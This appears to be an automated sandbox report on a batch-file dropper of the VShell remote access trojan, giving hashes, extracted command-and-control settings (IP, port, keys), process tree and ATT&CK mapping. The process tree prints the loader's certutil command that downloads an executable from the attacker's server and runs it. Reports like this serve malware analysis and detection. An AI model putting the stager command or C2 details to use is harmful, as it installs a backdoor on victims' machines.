vshell | f8dc186aafd0e632446822bba3ff9d398da2eda35e5444101b001f4eee1b3644

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/09/2026, 12:29

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General

Target
windows.bat
Size 501B
Sample260907-ppcraavtfx
SHA256 f8dc186aafd0e632446822bba3ff9d398da2eda35e5444101b001f4eee1b3644
MD5 b54d0eac0c2dff6721dbda36ebd45f85
SHA1 a6f91751f2fcf94ea176d35c4f11fd89bfc82fdb
SHA512 56f029c8fa78299b81277b05f95df2d34ed6de9c6d39eddb3ed8c1c3763b44a3f04825ab485966b231f1bc30823e34b41cf1e51eb16f862fd1406bd2cf336c26
TLSH
T133F09E9D743598F10B858813A49479C9F19B84C08A11F444AC9062FA5EC6AD939E6EC3
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

ws://211.101.235.94

Attributes

port
8088
salt
qwe123qwe
type
ws
vkey
qwe123qwe

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/3612-7-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	4368	certutil.exe
6	4368	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
3612	32221abaws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4640	cmd.exe
4216	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3612	32221abaws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5092	WMIC.exe
Token: SeSecurityPrivilege	5092	WMIC.exe
Token: SeTakeOwnershipPrivilege	5092	WMIC.exe
Token: SeLoadDriverPrivilege	5092	WMIC.exe
Token: SeSystemProfilePrivilege	5092	WMIC.exe
Token: SeSystemtimePrivilege	5092	WMIC.exe
Token: SeProfSingleProcessPrivilege	5092	WMIC.exe
Token: SeIncBasePriorityPrivilege	5092	WMIC.exe
Token: SeCreatePagefilePrivilege	5092	WMIC.exe
Token: SeBackupPrivilege	5092	WMIC.exe
Token: SeRestorePrivilege	5092	WMIC.exe
Token: SeShutdownPrivilege	5092	WMIC.exe
Token: SeDebugPrivilege	5092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5092	WMIC.exe
Token: SeRemoteShutdownPrivilege	5092	WMIC.exe
Token: SeUndockPrivilege	5092	WMIC.exe
Token: SeManageVolumePrivilege	5092	WMIC.exe
Token: 33	5092	WMIC.exe
Token: 34	5092	WMIC.exe
Token: 35	5092	WMIC.exe
Token: 36	5092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5092	WMIC.exe
Token: SeSecurityPrivilege	5092	WMIC.exe
Token: SeTakeOwnershipPrivilege	5092	WMIC.exe
Token: SeLoadDriverPrivilege	5092	WMIC.exe
Token: SeSystemProfilePrivilege	5092	WMIC.exe
Token: SeSystemtimePrivilege	5092	WMIC.exe
Token: SeProfSingleProcessPrivilege	5092	WMIC.exe
Token: SeIncBasePriorityPrivilege	5092	WMIC.exe
Token: SeCreatePagefilePrivilege	5092	WMIC.exe
Token: SeBackupPrivilege	5092	WMIC.exe
Token: SeRestorePrivilege	5092	WMIC.exe
Token: SeShutdownPrivilege	5092	WMIC.exe
Token: SeDebugPrivilege	5092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5092	WMIC.exe
Token: SeRemoteShutdownPrivilege	5092	WMIC.exe
Token: SeUndockPrivilege	5092	WMIC.exe
Token: SeManageVolumePrivilege	5092	WMIC.exe
Token: 33	5092	WMIC.exe
Token: 34	5092	WMIC.exe
Token: 35	5092	WMIC.exe
Token: 36	5092	WMIC.exe
Token: SeDebugPrivilege	3612	32221abaws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 4640	4216	cmd.exe	86
PID 4640 wrote to memory of 5092	4640	cmd.exe	87
PID 4640 wrote to memory of 1904	4640	cmd.exe	88
PID 4216 wrote to memory of 4368	4216	cmd.exe	90
PID 4216 wrote to memory of 3612	4216	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:1904
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://211.101.235.94:8088/?h=211.101.235.94&p=8088&t=ws&a=w64&stage=true" "C:\Users\Public\32221abaws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4368
- C:\Users\Public\32221abaws.exe
  "C:\Users\Public\32221abaws.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

32221abaws.exe

Path C:\Users\Public\32221abaws.exe
Size 4KB
SHA256 6f2dde2762451880c643f8fcaa21327b61e7f649af4cd74603e53085683f2593
MD5 cc7c514418335b6b2d2f635c5519bc5c
SHA1 1598ca384ed4357cbde49a6320be6a58fcbe7d46
SHA512 0a385296161b9e7a0387072ed762b90915112961b7ae5c18d8e1cf49d9ab7084613a4fc06b6b1c79404920fba7f80f70ecd8f2a1fd6794a948bf3afcf981a2f2
SSDEEP 48:6IIF9BlQaexzzgZoB7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMK30cF50uDxUOvXeg
TLSH
T19191C64270B989E7E85D41BF4C0FB8A0B919740A41C483A64378A5D53E3957BF47CB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3612-7-0x0000000067D40000-0x0000000068534000-memory.dmp

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memory/3612-11-0x000002ACAC140000-0x000002ACADDDD000-memory.dmp

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memory/3612-18-0x000002ACAC140000-0x000002ACADDDD000-memory.dmp

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